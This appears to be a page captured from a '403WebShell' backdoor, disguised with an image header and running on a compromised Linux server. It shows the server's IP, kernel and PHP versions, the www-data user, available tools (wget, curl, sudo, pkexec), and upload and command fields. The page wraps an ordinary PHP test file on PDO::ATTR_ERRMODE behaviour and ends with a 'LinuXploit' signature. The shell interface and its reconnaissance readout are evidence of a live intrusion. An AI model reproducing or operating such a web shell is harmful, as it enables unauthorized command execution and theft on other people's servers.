????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.196.41
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/pdo_mysql/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_mysql/tests/pdo_mysql_attr_errmode.phpt
--TEST--
PDO::ATTR_ERRMODE
--SKIPIF--
<?php
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'skipif.inc');
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
MySQLPDOTest::skip();
$db = MySQLPDOTest::factory();
?>
--INI--
error_reporting=E_ALL
--FILE--
<?php
	require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
	$db = MySQLPDOTest::factory();

	$valid = array(PDO::ERRMODE_SILENT, PDO::ERRMODE_WARNING, PDO::ERRMODE_EXCEPTION);
	do {
		$invalid = mt_rand(-1000, 1000);
	} while (in_array($invalid, $valid));


	$tmp = array();
	if (false != @$db->setAttribute(PDO::ATTR_ERRMODE, $tmp))
		printf("[001] Maybe PDO could indicate that this is not a proper way of setting the ERRMODE...\n");

	$tmp = new stdClass();
	$ret = @$db->setAttribute(PDO::ATTR_ERRMODE, $tmp);
	if (false != $ret)
		printf("[002] Maybe PDO could indicate that this is not a proper way of setting the ERRMODE...%s\n",
			var_export($ret, true));

	$ret = @$db->setAttribute(PDO::ATTR_ERRMODE, 'pdo');
	if (false != $ret)
		printf("[003] Maybe PDO could indicate that this is not a proper way of setting the ERRMODE...%s\n",
			var_export($ret, true));

	if (false != @$db->setAttribute(PDO::ATTR_ERRMODE, $invalid))
		printf("[004] Invalid ERRMODE should be rejected\n");

	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
	// no message for any PDO call but...
	$db->query('THIS IS NOT VALID SQL');
	// ... still messages for everything else
	$code = $db->errorCode();
	$info = $db->errorInfo();

	if ($code != '42000')
		printf("[005] Expecting SQL code 42000 got '%s'\n", $code);
	if ($code !== $info[0])
		printf("[006] Code and info should be identical, got errorCode() = %s, errorInfo()[0] = %s\n",
			$code, $info[0]);
	if ('' == $info[1])
		printf("[007] Driver specific error code not set\n");
	if ('' == $info[2])
		printf("[008] Driver specific error message not set\n");

	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
	$db->query('THIS IS NOT VALID SQL');

	$code = $db->errorCode();
	$info = $db->errorInfo();

	if ($code != '42000')
		printf("[009] Expecting SQL code 42000 got '%s'\n", $code);
	if ($code !== $info[0])
		printf("[010] Code and info should be identical, got errorCode() = %s, errorInfo()[0] = %s\n",
			$code, $info[0]);
	if ('' == $info[1])
		printf("[011] Driver specific error code not set\n");
	if ('' == $info[2])
		printf("[012] Driver specific error message not set\n");

	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	try {
		$line = __LINE__ + 1;
		$db->query('THIS IS NOT VALID SQL');
	} catch (PDOException $e) {

		$code = $db->errorCode();
		$info = $db->errorInfo();

		if ($code != '42000')
			printf("[013] Expecting SQL code 42000 got '%s'\n", $code);
		if ($code !== $info[0])
			printf("[014] Code and info should be identical, got errorCode() = %s, errorInfo()[0] = %s\n",
				$code, $info[0]);
		if ('' == $info[1])
			printf("[015] Driver specific error code not set\n");
		if ('' == $info[2])
			printf("[016] Driver specific error message not set\n");

		if ($e->getCode() !== $code)
			printf("[017] Exception code '%s' differs from errorCode '%s'\n",
				$e->getCode(), $code);

		$msg = $e->getMessage();
		foreach ($info as $k => $v) {
			if (false === stristr($msg, (string)$v)) {
				printf("[018] Cannot find all parts of the error info ('%s') in the exception message '%s'\n",
					$v, $msg);
			}
		}

		if ($e->getLine() !== $line)
			printf("[019] Exception has been thrown in line %d, exception object reports line %d\n",
				$line, $e->getLine());

		if ($e->getFile() !== __FILE__)
			printf("[020] Exception has been thrown in file '%s', exception object reports file '%s'\n",
				__FILE__, $e->getFile());

	}

	function my_handler($e) {
		global $db, $line;

		$code = $db->errorCode();
		$info = $db->errorInfo();

		if ($code != '42000')
			printf("[021] Expecting SQL code 42000 got '%s'\n", $code);
		if ($code !== $info[0])
			printf("[022] Code and info should be identical, got errorCode() = %s, errorInfo()[0] = %s\n",
				$code, $info[0]);
		if ('' == $info[1])
			printf("[023] Driver specific error code not set\n");
		if ('' == $info[2])
			printf("[024] Driver specific error message not set\n");

		if ($e->getCode() !== $code)
			printf("[025] Exception code '%s' differs from errorCode '%s'\n",
				$e->getCode(), $code);

		$msg = $e->getMessage();
		foreach ($info as $k => $v) {
			if (false === stristr($msg, (string)$v)) {
				printf("[026] Cannot find all parts of the error info ('%s') in the exception message '%s'\n",
					$v, $msg);
			}
		}

		if ($e->getLine() !== $line)
			printf("[027] Exception has been thrown in line %d, exception object reports line %d\n",
				$line, $e->getLine());

		if ($e->getFile() !== __FILE__)
			printf("[028] Exception has been thrown in file '%s', exception object reports file '%s'\n",
				__FILE__, $e->getFile());

		if (get_class($e) != 'PDOException')
			printf("[029] Expecting PDO exception got exception of type '%s'\n", get_class($e));

		print "\nend of execution";
	}
	set_exception_handler('my_handler');
	$line = __LINE__ + 1;
	$db->query('THIS IS NOT VALID SQL');

	print "done!\n";
--EXPECTF--
[003] Maybe PDO could indicate that this is not a proper way of setting the ERRMODE...true

Warning: PDO::query(): SQLSTATE[42000]: Syntax error or access violation: %d You have an error in your SQL syntax; check the manual that corresponds to your %s server version for the right syntax to use near '%s' at line %d in %s on line %d

end of execution

Youez - 2016 - github.com/yon3zu
LinuXploit